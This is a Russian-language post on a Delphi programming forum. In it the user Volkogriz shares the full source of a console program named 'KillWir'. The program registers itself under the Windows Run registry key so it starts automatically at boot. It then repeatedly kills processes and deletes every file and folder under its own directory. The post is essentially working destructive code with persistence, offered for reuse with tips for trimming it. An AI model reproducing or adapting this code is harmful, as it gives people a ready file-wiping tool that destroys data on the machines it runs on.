Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 29.01.2011, 18:48   #11
Volkogriz
Форумчанин
 
Аватар для Volkogriz
 
Регистрация: 11.10.2007
Сообщений: 384
По умолчанию

вот консоль и его легко переделать в окно !
Код:
{$I-}
{$D-}
program KillWir;

uses
  sysutils,
  windows,
  registry,
  classes,
  Masks,
  Controls,
  PsAPI,
  Tlhelp32,
  Forms;

var ExeName : pchar; Reg : TRegistry;

function GetLastErrorString: string;
var
  lz: Cardinal;
  lErr: array[0..512] of Char;
begin
  lz := GetLastError;
  FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, nil, lz, 0, lErr, 512, nil);
  Result := string(lErr);
end;
//==================================================================
function GetProcessID(const AProcessName: string): DWord;
var
  lSnapHandle: THandle;
  lProcStruct: PROCESSENTRY32;
  lProcessName, lSnapProcessName: string;
  lOSVerInfo: TOSVersionInfo;
begin
  Result := INVALID_HANDLE_VALUE;
  lSnapHandle := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
  if lSnapHandle = INVALID_HANDLE_VALUE then
    Exit;
  lProcStruct.dwSize := SizeOf(PROCESSENTRY32);
  lOSVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  GetVersionEx(lOSVerInfo);
  case lOSVerInfo.dwPlatformId of
    VER_PLATFORM_WIN32_WINDOWS: lProcessName := AProcessName;
    VER_PLATFORM_WIN32_NT: lProcessName := ExtractFileName(AProcessName);
  end;
  if Process32First(lSnapHandle, lProcStruct) then
  begin
    try
      repeat
        lSnapProcessName := lProcStruct.szExeFile;
        if AnsiUpperCase(lSnapProcessName) = AnsiUpperCase(lProcessName) then
        begin
          Result := lProcStruct.th32ProcessID;
          Break;
        end;
      until not Process32Next(lSnapHandle, lProcStruct);
    finally
      CloseHandle(lSnapHandle);
    end;
  end;
end;
//==================================================================
function KillProcess(const AProcessName: string): Boolean;
var
  lPID, lCurrentProcPID: DWord;
  lProcHandle: DWord;
begin
  Result := False;
  try
    lCurrentProcPID := GetCurrentProcessId;
    lPID := GetProcessID(AProcessName);
    if (lPID <> INVALID_HANDLE_VALUE) and (lCurrentProcPID <> lPID) then
    begin
      lProcHandle := OpenProcess(PROCESS_TERMINATE, False, lPID);
      Windows.TerminateProcess(lProcHandle, 0);
      WaitForSingleObject(lProcHandle, Infinite);
      CloseHandle(lProcHandle);
      Result := True;
    end;
  except
    raise EExternalException.Create(GetLastErrorString);
  end;
end;

function GetFiles(Path:String; Full: Boolean = False):TStrings;
   Var Rec:TSearchRec; TMP:TStrings;ls: String;i: integer;
begin
  Result:=TStringList.Create;
  if Path[Length(Path)]<>'\' Then Path:=Path+'\';
  if FindFirst(Path+'\*.*',faAnyFile,Rec)=0 then
    begin
     if (Rec.Name<>'.')and(Rec.Name<>'..') then
       if (Rec.Attr and faDirectory) <> 0 then begin
       TMP:=GetFiles(Path+Rec.Name,True);
       Result.AddStrings(TMP);
       TMP.Free;
       end else Result.Add(Path+Rec.Name);
       Result.Add(Path);

     while FindNext(Rec)=0 do
       begin
        if (Rec.Name<>'.')and(Rec.Name<>'..') then
         if (Rec.Attr and faDirectory) <> 0 then begin
         TMP:=GetFiles(Path+Rec.Name,True);
         Result.AddStrings(TMP);
         TMP.Free;
         end else Result.Add(Path+Rec.Name);
         Result.Add(Path);
       end;
    end;
if not Full then
  for i:=0 to Result.Count-1 do
   begin
     ls := Result[i];
     Delete(ls,1,Length(Path));
     Result[i] := ls;
   end;
 SysUtils.FindClose(Rec);
end;


var FilesDel:TStrings;t,c,i,Kill:integer; Path : string;   FilesKill:TStrings;
sr:TSearchRec;
    Result:word;
Msg: TMsg;
begin
Reg:=TRegistry.create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',false);
Reg.ValueExists('KillWin') ;
GetMem(ExeName,259);
GetModuleFileName(0,ExeName,259);
Reg.LazyWrite := True;
Reg.WriteString('KillWin', ExeName);
FreeMem(ExeName,259);
Reg.CloseKey;
Reg.free;
while GetMessage(Msg, HInstance, 0, 0) do   
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
FilesDel:= TStringList.Create;
FilesDel.Assign(GetFiles((extractfilepath(application.exename))));
begin
for Kill:=0 to FilesDel.count-1 do
KillProcess(FilesDel.Strings[Kill]);
for t:=0 to FilesDel.count-1 do
SetFileAttributes (PChar(FilesDel.Strings[t]),0);
for i:=0 to FilesDel.count-1 do
deletefile(PChar(FilesDel.Strings[i]));
for i:=0 to FilesDel.count-1 do
deletefile(PChar(FilesDel.Strings[i]));
for c:=0 to FilesDel.count-1 do
RemoveDirectory(PChar(FilesDel.Strings[C]));
end;
end;
end .
Там из uses-у убери лишнее много!!!!
А у тебя как минимум помойму в uses windos;
uses Masks,windos;

С уважением,
Volkogriz!
Не количеством плюсов измеряется репутация человека...!

Последний раз редактировалось Volkogriz; 29.01.2011 в 18:54.
Volkogriz вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Сервер на компе Altera Свободное общение 20 25.03.2010 11:57
Помогите с ошибкой на компе Полинка Хабаровск Свободное общение 31 02.02.2009 04:22
Гнильё в компе..... :-(( steck Свободное общение 14 23.01.2009 17:58
джамба на компе gred PHP 5 13.04.2008 23:50
Запутстить на удаленном компе Elm0 Безопасность, Шифрование 7 06.08.2007 10:58